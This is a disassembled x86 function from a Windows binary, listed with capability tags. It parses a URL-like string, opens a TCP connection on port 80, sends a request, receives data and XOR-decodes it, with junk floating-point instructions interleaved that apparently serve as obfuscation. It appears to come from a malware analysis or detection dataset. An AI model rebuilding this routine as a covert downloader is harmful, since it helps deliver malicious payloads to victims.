Function at 0x408500
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040c380
push 0xffffffffffffffff
push 0x41e2ab
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x425ff0]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
xor ebx, ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], ebx
mov byte [ebp + 0x1a4], bl
fldz
mov esi, dword [ebp + 0x1448]
mov dword [ebp - 0x38], ebx
fst dword [ebp - 0x14]
fldz
xor edx, edx
fstp qword [ebp - 0x30]
xor eax, eax
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], ebx
mov word [ebp - 0x24], dx
fst dword [ebp - 0x34]
fstp dword [ebp - 0x1c]
mov word [ebp - 0x28], ax
mov byte [ebp + 0x11bc], al
xor ecx, ecx
mov eax, esi
mov byte [ebp - 4], 1
mov word [ebp - 0x28], cx
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4085b0
sub eax, edx
mov edi, eax
cmp edi, 0x7f
jg 0x4086c6
xor ecx, ecx
cmp ecx, edi
jg 0x40867c
mov al, byte [ecx + esi]
mov byte [ebp + ecx + 0x13bc], al
cmp al, 0x2f
jne 0x408676
fld dword [0x425230]
fld1
fsub st(1), st(0)
fxch st(1)
fstp dword [0x425230]
fld dword [0x425a90]
fsub qword [0x41f9e0]
fadd qword [0x41f9d8]
fld dword [0x425230]
fsubr qword [0x41f9d0]
fucompp
fnstsw ax
fld dword [0x425a90]
fsub st(1)
fstp dword [0x425a90]
test ah, 0x44
jnp 0x40864b
movzx edx, word [0x424350]
movsx eax, dx
movzx edx, word [ebp - 0x24]
movsx edx, dx
add edx, eax
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fadd dword [ebp - 0x1c]
fstp dword [ebp - 0x1c]
inc dword [ebp - 0x24]
jmp 0x408657
fld dword [ebp - 0x14]
fsub qword [0x41f9c8]
fstp dword [ebp - 0x14]
mov byte [ebp + ecx + 0x13bc], 0
mov eax, ecx
cmp eax, edi
jg 0x40867e
mov bl, byte [eax + esi]
mov edx, eax
sub edx, ecx
mov byte [ebp + edx + 0x11bc], bl
inc eax
jmp 0x408661
inc ecx
jmp 0x4085c6
fld1
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408687
mov edi, dword [ebp - 0x18]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40869a
sub eax, esi
add eax, edx
cmp eax, 0x1ff
jbe 0x4086eb
fstp st(0)
cmp dword [ebp + 0x1b8], 0x10
jb 0x4086c6
mov eax, dword [ebp + 0x1a4]
push eax
call fcn.0040aa4e
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b112
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
mov eax, edi
mov edx, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4086ef
lea edi, [ebp + 0x11bc]
or ebx, 0xffffffff
sub eax, edx
add edi, ebx
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408703
fld dword [0x425b44]
mov ecx, eax
fsub qword [0x41f9c0]
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
fadd qword [0x41f9b8]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.0040aec0
mov dword [ebp - 0x28], eax
fsubr dword [0x425b44]
push 5
push 0x425ed0
fstp dword [0x425b44]
call fcn.004020a0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408755
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407940
xor eax, eax
xor edi, edi
mov dword [esi], eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x14], edi
push esi
mov byte [esi + 4], al
call fcn.0040af6b
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], ecx
fild dword [ebp - 0x18]
add esp, 4
fld qword [0x425800]
fsubr qword [0x41f388]
fsubp st(1)
call fcn.0040aec0
mov dword [ebp - 0x14], eax
fld qword [0x425800]
fadd qword [0x41f350]
fstp qword [0x425800]
mov dx, word [0x4230dc]
movsx eax, dx
sub eax, 0x4faec026
mov dword [ebp - 0x18], eax
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
fild dword [ebp - 0x18]
fmul qword [0x425a78]
fstp qword [0x425a78]
add word [0x4230dc], bx
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4087e5
sub eax, edx
push eax
lea ecx, [ebp + 0x11bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.00408180
push 0x32
push 0x42587c
call fcn.004020a0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408815
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408180
fld dword [ebp - 0x1c]
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x18], edx
fisub dword [ebp - 0x18]
push 0x32
push edi
push esi
fsub dword [ebp - 0x1c]
fstp qword [ebp - 0x30]
fld dword [ebp - 0x1c]
fld1
fsub st(1), st(0)
fxch st(1)
fstp dword [ebp - 0x1c]
add dword [ebp - 0x28], ebx
fadd dword [ebp - 0x1c]
fstp dword [ebp - 0x1c]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x14], edi
call fcn.0040b130
push esi
call fcn.0040af6b
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
add esp, 0x10
fld qword [0x425800]
fsubr qword [0x41f388]
fsubp st(1)
call fcn.0040aec0
mov dword [ebp - 0x14], eax
fld qword [0x425800]
fadd qword [0x41f350]
lea eax, [ebp + 0x13bc]
lea edx, [eax + 1]
fstp qword [0x425800]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4088a4
sub eax, edx
push eax
lea ecx, [ebp + 0x13bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.00408180
push 5
push 0x425aa4
mov dword [ebp - 0x24], 0x4f2a1762
call fcn.004020a0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
jmp 0x4088e0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4088e0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408180
xor eax, eax
mov dword [esi], eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x14], edi
push esi
mov byte [esi + 4], al
call fcn.0040af6b
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x18], edx
fild dword [ebp - 0x18]
add esp, 4
fld qword [0x425800]
fsubr qword [0x41f388]
fsubp st(1)
call fcn.0040aec0
mov dword [ebp - 0x14], eax
fld qword [0x425800]
fadd qword [0x41f350]
lea eax, [ebp]
push eax
push 0x202
fstp qword [0x425800]
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x408968
cmp dword [ebp + 0x1b8], 0x10
jb 0x4086c6
mov ecx, dword [ebp + 0x1a4]
push ecx
jmp 0x4086be
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x18], edx
fild dword [ebp - 0x18]
fld dword [ebp - 0x1c]
fadd qword [0x41f9b0]
fsubp st(1)
call fcn.0040aec0
push 6
push 1
push 2
mov dword [ebp - 0x24], eax
call sub.WS2_32.dll_socket
mov esi, eax
mov dword [ebp - 0x14], esi
cmp esi, ebx
jne 0x4089a2
call sub.WS2_32.dll_WSACleanup
jmp 0x4086ae
cmp dword [ebp + 0x1458], edi
je 0x4089c3
push 4
lea ecx, [ebp + 0x1458]
push ecx
push 0x1006
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
lea edx, [ebp + 0x13bc]
push edx
call sub.WS2_32.dll_gethostbyname
cmp eax, edi
je 0x4086ae
mov ecx, 2
mov word [ebp + 0x190], cx
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
push ecx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
push 0x50
mov dword [ebp + 0x194], eax
call sub.WS2_32.dll_htons
mov edi, 0x10
push edi
lea edx, [ebp + 0x190]
push edx
push esi
mov word [ebp + 0x192], ax
call sub.WS2_32.dll_connect
cmp eax, ebx
jne 0x408a2c
cmp dword [ebp + 0x1b8], edi
jmp 0x4086b5
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x408a40
lea eax, [ebp + 0x1a4]
mov ecx, dword [ebp + 0x1b4]
push 0
push ecx
push eax
push esi
call sub.WS2_32.dll_send
cmp eax, dword [ebp + 0x1b4]
jae 0x408a70
cmp dword [ebp + 0x1b8], edi
jb 0x4086c6
mov edx, dword [ebp + 0x1a4]
push edx
jmp 0x4086be
mov ecx, dword [ebp - 0x20]
push 0
push 0x41f9a8
call fcn.00407940
mov esi, ebx
mov ecx, dword [ebp - 0x14]
push 0
push 0x1000
lea eax, [ebp + 0x1bc]
push eax
push ecx
call sub.WS2_32.dll_recv
test eax, eax
jle 0x408c0c
mov ecx, dword [ebp - 0x20]
add dword [ebp - 0x28], 0xc6fcb296
push eax
lea edx, [ebp + 0x1bc]
push edx
call fcn.00408180
test esi, esi
jge 0x408b8a
push 5
push 0x425aa4
call fcn.004020a0
add esp, 8
mov edi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408ad3
mov ecx, dword [ebp - 0x20]
sub eax, edx
push eax
push 0
push edi
call fcn.00404840
push edi
push 5
mov esi, eax
call fcn.00401470
add dword [0x423100], 0xb0c45445
add esp, 8
test esi, esi
jl 0x408b8a
mov eax, dword [ebp - 0x20]
push eax
add esi, 4
call fcn.00406a60
mov ebx, eax
add esp, 4
mov dword [ebp - 0x2c], ebx
test ebx, ebx
jge 0x408b8e
push 0xb
push 0x4230b0
call fcn.004020a0
mov ecx, dword [ebp - 0x20]
add esp, 8
mov edi, eax
push 0
push edi
call fcn.00405010
fld dword [0x425a90]
fmul qword [0x41f9a0]
push edi
push 0xb
mov ebx, eax
fstp dword [0x425a90]
call fcn.00401470
dec word [0x4250d8]
mov cx, word [0x4250d8]
mov edx, dword [0x423130]
movsx eax, cx
add edx, eax
mov dword [ebp - 0x18], edx
add esp, 8
fild dword [ebp - 0x18]
fmul dword [ebp - 0x1c]
fstp dword [ebp - 0x1c]
test ebx, ebx
jge 0x408c0c
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
jl 0x408b9a
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x14]
sub eax, esi
cmp eax, ebx
jae 0x408c0c
fld dword [0x425b2c]
fadd qword [0x41f350]
fstp dword [0x425b2c]
mov ecx, dword [0x424324]
mov dword [ebp - 0x2c], ecx
fild dword [ebp - 0x2c]
fld dword [0x425b2c]
mov dx, word [0x425ae0]
mov ecx, dword [0x424330]
movsx eax, dx
mov dword [ebp - 0x2c], eax
fild dword [ebp - 0x2c]
mov dword [ebp - 0x2c], ecx
faddp st(1)
fisub dword [ebp - 0x2c]
fsubp st(1)
call fcn.0040aec0
mov dword [0x424324], eax
inc word [0x425ae0]
cmp dword [ebp + 0x1458], 0
je 0x408a81
mov edx, dword [ebp - 0x20]
cmp dword [edx + 0x14], 0x4000
jb 0x408a81
mov eax, dword [ebp - 0x14]
push eax
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
mov edi, dword [ebp - 0x20]
test esi, esi
jl 0x408c2b
push esi
push 0
mov ecx, edi
call fcn.00404f80
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2c], ecx
fild dword [ebp - 0x2c]
fsub qword [0x425978]
call fcn.0040aec0
mov bl, byte [ebp + 0x1454]
mov dword [ebp - 0x24], eax
fld qword [0x425978]
fadd qword [0x41f350]
fstp qword [0x425978]
test bl, bl
je 0x4086ae
xor esi, esi
cmp esi, dword [edi + 0x14]
jae 0x4086ae
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x2c], edx
fild dword [ebp - 0x2c]
fmul dword [ebp - 0x34]
fstp dword [ebp - 0x34]
cmp esi, dword [edi + 0x14]
jbe 0x408c86
call fcn.0040bb11
cmp dword [edi + 0x18], 0x10
jb 0x408c95
mov eax, dword [edi + 4]
xor byte [eax + esi], bl
inc esi
jmp 0x408c64
xor byte [edi + esi + 4], bl
lea eax, [edi + 4]
inc esi
jmp 0x408c64